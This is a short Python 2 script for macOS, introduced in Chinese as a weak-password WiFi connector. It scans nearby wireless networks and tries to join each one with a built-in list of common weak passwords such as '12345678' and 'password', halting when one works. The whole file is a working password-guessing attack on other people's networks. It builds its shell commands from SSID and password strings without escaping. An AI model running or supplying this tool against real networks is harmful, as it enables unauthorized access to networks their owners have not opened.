macos Wifi 弱密码连接器。因为没写切channel的功能，所以多执行几遍就好。

macos_wifi_weak_password_scanner.py

#!/usr/bin/python
# -*- coding: utf-8 -*-


import os
from commands import getstatusoutput, getoutput

WIFI_IF = "en0"

class Wifi(object):
    def __init__(self, ifname=WIFI_IF, ch=1):
        self.ifname = ifname
        self.ch = ch

    def on(self):
        cmd = "networksetup -setairportpower {ifname} on".format(**self.__dict__)
        return getstatusoutput(cmd)[0] == 0


    def off(self):
        cmd = "networksetup -setairportpower {ifname} off".format(**self.__dict__)
        return getstatusoutput(cmd)[0] == 0

    def scan(self):
        cmd = "/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport scan"
        ok, output = getstatusoutput(cmd)
        networks = map(lambda line: line.strip().split()[0], output.split('\n')[1:])
        return networks

    def join(self, ssid, password):
        ifname = self.ifname
        cmd = 'networksetup -setairportnetwork {ifname} "{ssid}" {password}'.format(**locals())
        # print cmd
        ok, output = getstatusoutput(cmd)
        state = output.strip().replace('\n', ' ')
        # note: fail may return 0
        if 'Could not find network' in state:
            return False
        elif 'Failed to join network' in state:
            return False
        print state
        return ok == 0

def test():
    w = Wifi()
    print w.on()
    #print w.off()
    ssids = w.scan()

    pwds = "11111111 88888888 12345678 1234567890 00000000 87654321 66666666 123456789 987654321 123123123 11223344 12341234 12344321 password iloveyou qwertyui".split()
    print ssids
    for ssid in ssids:
        print 'try', ssid, '........'
        for pwd in pwds:
            if w.join(ssid, pwd):
                print 'ok, with parameter', `pwd`
                raise SystemExit
            else:
                print 'failed, with', `pwd`

if __name__ == '__main__':
    test()